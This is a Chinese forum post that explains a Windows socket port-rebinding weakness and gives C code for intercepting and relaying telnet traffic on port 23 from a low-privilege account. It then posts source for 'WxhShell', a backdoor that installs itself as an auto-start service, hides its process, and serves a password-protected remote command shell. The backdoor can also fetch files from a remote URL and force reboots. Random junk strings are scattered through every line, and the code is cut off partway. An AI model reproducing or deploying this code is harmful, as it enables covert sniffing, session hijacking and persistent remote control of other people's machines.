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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {J3;4p-&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5]yQMY\2)  
v^2q\A-?  
  saddr.sin_family = AF_INET; c6gRXp'ID  
R,[ dEP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AcV 2l  
9`kxyh</  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j4H]HGHv  
JK:i-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MHo(j%I1E  
t.|b285e  
  这意味着什么?意味着可以进行如下的攻击: 6$-Ex  
SQ7Ws u>T@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (0/g)gW  
iev02 8M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LAqmM3{fA  
@Bs7kjuX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A?[06R5E#  
!}7FC>Cx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z0[_5Cm/  
KS%LXc('  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3>FeTf#:  
QiBo]`)%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?,8|K B  
.Bxv|dji  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /KD KA)  
)U0`?kD  
  #include TtA6N8G  
  #include tow0/ Jt  
  #include .OI&Zm-  
  #include    4D(5WJ&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !p$z8~  
  int main() h:{rjXK  
  { <u>l#weG,  
  WORD wVersionRequested; i> Wsc?  
  DWORD ret; `)e5pK  
  WSADATA wsaData;  hUy"XXpr  
  BOOL val; >*/\Pg6^  
  SOCKADDR_IN saddr; f5p>oXo4b  
  SOCKADDR_IN scaddr; ._2#89V  
  int err; n/$1&x1  
  SOCKET s; vsc)EM ]  
  SOCKET sc; aH7i$U&  
  int caddsize; [JI>e;l C:  
  HANDLE mt; 1b*Me'  
  DWORD tid;   +u+|9@  
  wVersionRequested = MAKEWORD( 2, 2 );  l* C>  
  err = WSAStartup( wVersionRequested, &wsaData ); i\E}!Rwl+  
  if ( err != 0 ) { z7B>7}i-  
  printf("error!WSAStartup failed!\n"); g \]2?vY.  
  return -1; h/`]=kCl  
  } 8 nCw1   
  saddr.sin_family = AF_INET; Q+L;k R  
   M\4pTcz{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 39 D!e&  
Wtl/xA_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9i+OYWUO  
  saddr.sin_port = htons(23); uL!QeY>k\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )F_0('=t  
  { ZBw]H'sT  
  printf("error!socket failed!\n"); -!_f-Nny  
  return -1; x"/DCcZ  
  } p5RnFe l  
  val = TRUE;  J+hiz3N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z?T;2/_7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6T*MKu  
  { ^y" #2Ov  
  printf("error!setsockopt failed!\n"); &Pk #v  
  return -1; |qUi9#NUo  
  } 25e*W>SLw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T22 4L.?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]O}TK^%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O9%`G  
r 7 dwj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z4CqHS~%  
  { 4oxAC; L  
  ret=GetLastError(); ^,W;dM2  
  printf("error!bind failed!\n"); 5UWj#|t  
  return -1; -"Mq<XO&51  
  } ].AAHu5  
  listen(s,2); <Wd#HKIG>l  
  while(1) o2AfMSt.  
  { .|XG0M  
  caddsize = sizeof(scaddr); FM{^ND9x  
  //接受连接请求 dnEIR5%+.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %5g(|Y]  
  if(sc!=INVALID_SOCKET) 244[a] %&;  
  { SSr#MIS?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `!BP.-Zv  
  if(mt==NULL) B/Jz$D  
  { G_ -8*.  
  printf("Thread Creat Failed!\n"); xh6Yv%\@  
  break; 0^lCZ,uq;  
  } 38<Z=#S  
  } DxM$4  
  CloseHandle(mt); CjRU3 (Q  
  } N.~zQVO#R  
  closesocket(s); -hd@<+;E  
  WSACleanup(); #BLx +mLq  
  return 0; pL [JGn  
  }   \&!qw[;O  
  DWORD WINAPI ClientThread(LPVOID lpParam) k-V3l  
  { &\Ze<u  
  SOCKET ss = (SOCKET)lpParam; .z+S @s[O  
  SOCKET sc; -eE r|Gs)  
  unsigned char buf[4096]; .}n-N #  
  SOCKADDR_IN saddr; 19h@fA[:  
  long num; #gq!L  
  DWORD val; ?hC,49  
  DWORD ret; Lg%3M8-W~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nrEG4X9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e=ITAH3b  
  saddr.sin_family = AF_INET; VTUY#+3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0<3->uK  
  saddr.sin_port = htons(23); }xa~U,#5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L'?7~Cdls  
  { n0a|GZyO]  
  printf("error!socket failed!\n"); !"d"3coQ?  
  return -1; SH1S_EQ<  
  } FF5|qCV/z  
  val = 100; IGnP#@`5]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5eLm  
  { SSQB1c  
  ret = GetLastError(); ,K W IuCU;  
  return -1; TCWt3\  
  } K[q{)>,9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JGHQzC  
  { F tS"vJ\  
  ret = GetLastError(); P Dgd'y  
  return -1; v ^R:XdH  
  } *)Us   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GBY-WN4sc[  
  { ^TZ`1:oL#  
  printf("error!socket connect failed!\n"); 1c\KRK4  
  closesocket(sc); p![UOI"W  
  closesocket(ss); |[_%zV;p>v  
  return -1; #E$*PAB  
  } Tlm::S   
  while(1) 0-Ga2Go9  
  { =91wC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d-cW47  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e>T;'7HSS"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 po!bRk[4  
  num = recv(ss,buf,4096,0); Zmc"  
  if(num>0) 3\ {?L  
  send(sc,buf,num,0); O=5q<7PM.  
  else if(num==0) ;#?G2AAv  
  break; Ie]k/qw+Y  
  num = recv(sc,buf,4096,0); (fun,(R6"  
  if(num>0) fZiwuq !_  
  send(ss,buf,num,0); wnU-5r&!]  
  else if(num==0)  JfsvK2I  
  break; ]iY O}JuX  
  } o~{rZ~  
  closesocket(ss); ' ~ 1/*F%8  
  closesocket(sc); nv <t$r  
  return 0 ; A2.GNk  
  } v[<x>?i D_  
w9w=2 *  
Sq SiuO.D  
========================================================== F};T<#  
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下边附上一个代码,,WXhSHELL ]++,7Z\AU  
,m Nd#  
========================================================== d{Cg3v`Rd  
Oz4vV_a&'  
#include "stdafx.h" 0j :u.x  
6rMXv0)  
#include <stdio.h> "Q`Le{  
#include <string.h> Ay6]vU  
#include <windows.h> {.])' ~[U  
#include <winsock2.h> O2:1aG  
#include <winsvc.h> x=03 WQ8  
#include <urlmon.h> &. MUSqo9  
^ 4Uk'T7V  
#pragma comment (lib, "Ws2_32.lib") ;efF]")  
#pragma comment (lib, "urlmon.lib") =pBr_pGz=  
if?X^j0  
#define MAX_USER   100 // 最大客户端连接数 C]Q`!e  
#define BUF_SOCK   200 // sock buffer |'``pq/}_  
#define KEY_BUFF   255 // 输入 buffer "%YVAaN  
PLJDRp 2o  
#define REBOOT     0   // 重启 \S_A e;  
#define SHUTDOWN   1   // 关机 =q(?ALGc  
. H}R}^  
#define DEF_PORT   5000 // 监听端口 1QPz|3f@\  
=$y;0]7Lwi  
#define REG_LEN     16   // 注册表键长度 H)h$@14xu  
#define SVC_LEN     80   // NT服务名长度 I7\T :Q[  
1k]L,CX  
// 从dll定义API ~d3|zlh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]9-iEQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PXG@]$~3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bcUSjG>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o:B?hr'\  
&]tm 'N25  
// wxhshell配置信息 3+\Zom4  
struct WSCFG { Z*b$&nM  
  int ws_port;         // 监听端口 <G0Ut6J>  
  char ws_passstr[REG_LEN]; // 口令 Z2 Vri  
  int ws_autoins;       // 安装标记, 1=yes 0=no `An p;el  
  char ws_regname[REG_LEN]; // 注册表键名 !+z&] S3s  
  char ws_svcname[REG_LEN]; // 服务名 D~FIv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IE3GZk+a~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5IA3\G}+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I/%L,XyRI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (-],VB (+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9{}"tk5$h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yFn~rv|&G  
5|7<ZL 3  
}; DS9-i2  
wv`ar>qVL  
// default Wxhshell configuration l_4 ^TYF  
struct WSCFG wscfg={DEF_PORT, +^jm_+  
    "xuhuanlingzhe", HRyhq ;C  
    1, v$xurj:v#i  
    "Wxhshell", 0|]d^bo  
    "Wxhshell", 0Y'ow=8M  
            "WxhShell Service", 3<l}gB'S[  
    "Wrsky Windows CmdShell Service", K,6{c^qf  
    "Please Input Your Password: ", v0TbQ  
  1, >oN Wf  
  "http://www.wrsky.com/wxhshell.exe", }]M'f:%b  
  "Wxhshell.exe" BnfuI  
    }; %O!TS_~9  
W56VA>ia  
// 消息定义模块 >l #D9%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !xBJJ/K+|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y78DYbU.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j;qV+Rq]t  
char *msg_ws_ext="\n\rExit.";  7PuYrJ  
char *msg_ws_end="\n\rQuit."; ESk:$`P  
char *msg_ws_boot="\n\rReboot..."; jo1z#!|Yw}  
char *msg_ws_poff="\n\rShutdown..."; l8J2Xd @   
char *msg_ws_down="\n\rSave to "; c[V.j+Iy#^  
*VH Wvj  
char *msg_ws_err="\n\rErr!"; pN_%>v"o  
char *msg_ws_ok="\n\rOK!"; Pe-rwM  
sIbPMu`&U  
char ExeFile[MAX_PATH]; &EYoviFp  
int nUser = 0; y\4/M6  
HANDLE handles[MAX_USER]; >|`1aCg,  
int OsIsNt; BR-wL3x b  
86 9sS  
SERVICE_STATUS       serviceStatus; HO_(it \  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }I MV@z B  
GY %$7   
// 函数声明 a@Zolz_Z  
int Install(void); *YX5bpR?  
int Uninstall(void); 4<vi@,s  
int DownloadFile(char *sURL, SOCKET wsh); {; th~[  
int Boot(int flag); 0rQ r#0`  
void HideProc(void); MslgQmlM  
int GetOsVer(void); @v:Eh  
int Wxhshell(SOCKET wsl); _"OE}$C  
void TalkWithClient(void *cs); @ULWVS#t2  
int CmdShell(SOCKET sock); SjY|aW+wAL  
int StartFromService(void); R#.H&#  
int StartWxhshell(LPSTR lpCmdLine); fYzP4  
X$@qs9?)^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ryygq,>VD.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )FmIL(vu  
k.jBu  
// 数据结构和表定义 49<t2^1q  
SERVICE_TABLE_ENTRY DispatchTable[] = )y Zr]  
{ eX lJ=S}  
{wscfg.ws_svcname, NTServiceMain}, *W^a<Zm8>  
{NULL, NULL} @$t\yBSK  
}; GKOl{och  
nz'6^D7`r  
// 自我安装 G<$8g-O;D  
int Install(void) D%LYQ  
{ ,!LY:pMK  
  char svExeFile[MAX_PATH]; Mu-kvgO`L  
  HKEY key; Owgy<@C  
  strcpy(svExeFile,ExeFile); w El-  
!*HJBZ]q  
// 如果是win9x系统,修改注册表设为自启动 ].5q,A]  
if(!OsIsNt) { qX; F+~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l(-"rE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `@WJ_-$#  
  RegCloseKey(key); GQJ4d-w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hQ!59  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '-J<ib t  
  RegCloseKey(key); Lfdg5D5.P  
  return 0; "wg$ H1K  
    } <5 OUk  
  } %l#X6jkt  
} P,a9B2  
else { Q4/BpKL  
e=s85!  
// 如果是NT以上系统,安装为系统服务 &zJ\D`\,O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S-ZN}N{,6  
if (schSCManager!=0) m[iQ7/  
{ md? cvGDE  
  SC_HANDLE schService = CreateService .pdcwd9  
  ( #$W0%7  
  schSCManager, I{WP:]"Yf  
  wscfg.ws_svcname, bd-iog(  
  wscfg.ws_svcdisp, O"df5x9@  
  SERVICE_ALL_ACCESS, rnQ_0d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vdQ#C G$/  
  SERVICE_AUTO_START, `4X.UPJ  
  SERVICE_ERROR_NORMAL, U <q`f-  
  svExeFile, Rg\4#9S JF  
  NULL, Lccy~2v>  
  NULL, Y*p<\{,oC  
  NULL, GvgTbCxnN  
  NULL, /V`SJ"  
  NULL HS ]c~  
  ); 6&0G'PMf  
  if (schService!=0) %n8CK->  
  { E{ e  
  CloseServiceHandle(schService); jpS$5Ct  
  CloseServiceHandle(schSCManager); 2kDv (".  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N-&ZaK  
  strcat(svExeFile,wscfg.ws_svcname); h(~/JW[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )"hd"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -y|']I^ &  
  RegCloseKey(key); %8%|6^,  
  return 0; %#~wFW|]x  
    } CDXN%~0h  
  } $F9w0kz:,*  
  CloseServiceHandle(schSCManager); i=]R1yP  
} .-mIU.Nwi  
} .boB b<  
@>.aQE  
return 1; !L q'o ?  
} "\`Fu  
V_D wHq2  
// 自我卸载 DTM(SN8R+n  
int Uninstall(void) 1%R${Qhr  
{ D.%%D%AdB  
  HKEY key; &!O?h/&X3  
ZWGX*F#}P  
if(!OsIsNt) { (VI(Nv:o@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jr;w>8B),  
  RegDeleteValue(key,wscfg.ws_regname); )\VuN-d  
  RegCloseKey(key); n'{jc 6&|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x=L"qC9f/  
  RegDeleteValue(key,wscfg.ws_regname); /wJ4hHY  
  RegCloseKey(key); $ BgaLJs/O  
  return 0; j6~`C ?(  
  } #a~BigZ[G  
} }cGILH%  
} z;2& d<h  
else { ?V+\E2  
5S!j$_(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :p@jslD  
if (schSCManager!=0) tjB)-=j[  
{ #3LZX!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DO-M0L  
  if (schService!=0) DNgh#!\X  
  { F%&lM[N%  
  if(DeleteService(schService)!=0) { jPZ+~:m+  
  CloseServiceHandle(schService); n7~4*B  
  CloseServiceHandle(schSCManager); B[EOz\?=m  
  return 0; ;r~1TUKb  
  } %saP>]o  
  CloseServiceHandle(schService); }qoId3iY!7  
  } r(Z?Fs/  
  CloseServiceHandle(schSCManager); Gf9sexn]l  
} &Ejhw3Nw  
} :@P6ibcX  
xoj,>[7 D  
return 1; QGV#AID3XW  
} bV2a2#kj  
J%xUO1  
// 从指定url下载文件 )B&`<1Oie  
int DownloadFile(char *sURL, SOCKET wsh) 7t#Q8u?  
{ V#.pi zb  
  HRESULT hr; MZf?48"f  
char seps[]= "/"; 4gev^/^^  
char *token; ^[}W}j>  
char *file; .>[l@x"  
char myURL[MAX_PATH]; Cg~1<J?2  
char myFILE[MAX_PATH]; oq,nfUA  
ni2 [K`  
strcpy(myURL,sURL); dMsS OP0E  
  token=strtok(myURL,seps); ||TZ[l  
  while(token!=NULL) dZf1iFCP  
  { bc~WJ+  
    file=token; }1[s,  
  token=strtok(NULL,seps); [\<#iRcP  
  } mOHOv61  
i%<NKE;v7m  
GetCurrentDirectory(MAX_PATH,myFILE); WjR2:kT  
strcat(myFILE, "\\"); bo<.pK$  
strcat(myFILE, file); g@s`PBF7`  
  send(wsh,myFILE,strlen(myFILE),0); D*VO;?D  
send(wsh,"...",3,0); uqI'e_&=&5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dyf>T}Iy  
  if(hr==S_OK) B<-("P(q  
return 0; )eZ}Kt+  
else _w %:PnO  
return 1; ??P\v0E  
!t~tIJ>6  
} L aA<`  
tq~f9EvC  
// 系统电源模块 W-|C K&1  
int Boot(int flag) Wtk|}>Pf  
{ 5%QYe]D  
  HANDLE hToken; [:(O`#  
  TOKEN_PRIVILEGES tkp; K re*~ "  
eFf9T@  
  if(OsIsNt) { 5izpQ'>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m*jE\+)=^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o$%KbfXO]  
    tkp.PrivilegeCount = 1; TNN@G~@cm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g@M5_I(W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :8}Qt^p  
if(flag==REBOOT) { iR{@~JN=)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kCz2uG)l  
  return 0; i?@7>Ca  
} FYE(lEjxi  
else { ;@gI*i N"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e]; IQ|  
  return 0; >$CNR*}@  
} -6s]7#IC  
  } A/}[Z\C  
  else { (vi^ t{k  
if(flag==REBOOT) { ^qBm%R(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F=*t]X[z}  
  return 0; s[UV(::E  
} Pj g#  
else { ('j'>"1H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g[@0H=  
  return 0; Ge?DD,a c  
} | a i#rU  
} >QN-K]YLL  
,-k?"|tQ  
return 1; "d~<{(:N^  
} jVGAgR=[G  
%yKcp5_  
// win9x进程隐藏模块 vmOye/?k  
void HideProc(void) 0;=]MEk?  
{ )>Z@')Uk:  
Mg8ciV}\xY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~p{YuW[e  
  if ( hKernel != NULL ) ]{{%d4  
  { A(BjU:D(Oj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?aBAmyxm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /FW$)w2{j  
    FreeLibrary(hKernel); 2Q%M2Ua  
  } pBBKfv  
;Z"Iv  
return; iGj,B =35  
} ;O,&MR{;|n  
g}hNsU=$5~  
// 获取操作系统版本 RhF< {U.  
int GetOsVer(void) mKV31wvK}  
{ pK_zq  
  OSVERSIONINFO winfo; eL)m(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iny/K/5bf  
  GetVersionEx(&winfo); %zEy.7Ux  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %'=TYvB 2  
  return 1; .v+J@Y a  
  else aWLA6A+C&  
  return 0; (8o;Cm  
} l$l6,OzS@  
]0%{ IgB  
// 客户端句柄模块 3?h!nVI+2J  
int Wxhshell(SOCKET wsl) /L! =##  
{ <bhJ>  
  SOCKET wsh; ,?%Y*?v  
  struct sockaddr_in client; !&@t  
  DWORD myID; .S=|ZP+  
j 7O!uUQQ  
  while(nUser<MAX_USER) ?aTC+\=  
{ U%VFr#  
  int nSize=sizeof(client); km lb,P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KlBT9"6"  
  if(wsh==INVALID_SOCKET) return 1; |6Iw\YU  
c1*^ \   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sw[*1C8  
if(handles[nUser]==0) v6x jLP;O  
  closesocket(wsh); ~\u>jel  
else Z~|%asjFE  
  nUser++; ~WB-WI\  
  } #q&N d2y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k#mL4$]V5N  
56NDU>j$  
  return 0; 7s:cg  
} 2AxKB+c1`  
a~-k} G5  
// 关闭 socket %^"i\- *|S  
void CloseIt(SOCKET wsh) 4m~p(r  
{ @fVz *  
closesocket(wsh); K3rsew n  
nUser--; 6BXZGE  
ExitThread(0); pm=s  
} UK@hnQU8`  
EW]8k@&g  
// 客户端请求句柄 6Ol)SQE,  
void TalkWithClient(void *cs) !@+4&B=  
{ ~_-+Q=3  
{K/xI  
  SOCKET wsh=(SOCKET)cs; i5*/ZA_  
  char pwd[SVC_LEN]; !g~u'r'1  
  char cmd[KEY_BUFF]; EzCi%>q  
char chr[1]; ('=Q[ua7-(  
int i,j; 6"+bCx0:  
l]IQjjJ`  
  while (nUser < MAX_USER) { kCoEdQ_  
ah!RQ2hDrV  
if(wscfg.ws_passstr) { 2&o3OKt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b|@f!lA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v}^uN+a5  
  //ZeroMemory(pwd,KEY_BUFF); v?DA>  
      i=0; "(\]-%:7  
  while(i<SVC_LEN) { ET6}V"UD  
3|/zlKZz  
  // 设置超时 }~<9*M-P  
  fd_set FdRead; nqcD#HUv  
  struct timeval TimeOut; Et)j6xz/F  
  FD_ZERO(&FdRead); 8..g\ZT  
  FD_SET(wsh,&FdRead); }.<]A  
  TimeOut.tv_sec=8; jH9.N4L  
  TimeOut.tv_usec=0; P&Hhq>@Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R}OjSiS\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w~e$ul(IQM  
6ZGw 3p)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5@i(pVWZ  
  pwd=chr[0]; M>jk"*hA|  
  if(chr[0]==0xd || chr[0]==0xa) { (xBWxeL~  
  pwd=0; k]A$?C0Q<%  
  break; {=y~O  
  } :C#(yp  
  i++; M8FC-zFs  
    } ::Di  
G\r>3Ys  
  // 如果是非法用户,关闭 socket z }P1+Pm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @c%h fI  
} U {s T %G  
{'f=*vMI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F8*P/<P1cK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nrz2f7d$  
{gS7pY%_W  
while(1) { +"[}gss!@  
"nn>I}jK  
  ZeroMemory(cmd,KEY_BUFF); SA -r61  
f\vg<lca  
      // 自动支持客户端 telnet标准   f9b[0L  
  j=0; Lq5Eu$;r  
  while(j<KEY_BUFF) { /y5a~3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ap%tm)@1  
  cmd[j]=chr[0]; ]}N&I_mU  
  if(chr[0]==0xa || chr[0]==0xd) { 1n+JHXR\  
  cmd[j]=0; EY.Z.gMZI(  
  break; 7@9R^,M4:  
  } XZ1<sm8t."  
  j++; :g"U G0];  
    } Xx=c'j<  
$pYT#_P!/  
  // 下载文件 #p|7\Y  
  if(strstr(cmd,"http://")) { 0HS"Oxx'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UhF+},gU  
  if(DownloadFile(cmd,wsh)) oi/bp#(fa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H7R6Ljd?&S  
  else )\Ay4 d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t(.xEl;Ma  
  } JnZlz?}^  
  else { :k7h"w  
4l"oq"uc  
    switch(cmd[0]) { RS1c+]rr  
  s*.&DN  
  // 帮助 $tFmp)  
  case '?': { I?IAZa)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u MM?s?q  
    break; "A%JT3  
  } 4"y1M=he  
  // 安装 `q(eB=6;[  
  case 'i': { -c'~0g]<  
    if(Install()) bG[)r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N\WEp?%~  
    else j?cE0 hz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |c5r&oM&m  
    break; dd@-9?6M  
    } !Won<:.[0  
  // 卸载 Lb%Wz*Fa%!  
  case 'r': { uS,XQy2  
    if(Uninstall()) VsMTzGr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]2o?Gnn@  
    else zz~AoX7V6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]&RC<imq  
    break; L]|[AyNu  
    } kc&MO`2 W\  
  // 显示 wxhshell 所在路径 xHY#"   
  case 'p': { 1 n<7YO7}  
    char svExeFile[MAX_PATH]; Y)]x1I  
    strcpy(svExeFile,"\n\r"); 6 P6Pl&  
      strcat(svExeFile,ExeFile); [qGj*`@C  
        send(wsh,svExeFile,strlen(svExeFile),0); v08Xe*gNU  
    break; 4! V--F  
    } h TY7`m">  
  // 重启 ] M#OS$_O@  
  case 'b': { MehMhHY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  W .t`  
    if(Boot(REBOOT)) @z1Yj"^Pm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gu~F(Fb'  
    else { v*k}{M  
    closesocket(wsh); h1'j1uI  
    ExitThread(0); Pn[R.u(l  
    } lYt|C^  
    break; F 7~T=X)1  
    } AqHH^adzA:  
  // 关机 @z!|HLD+  
  case 'd': { :CJ]^v   
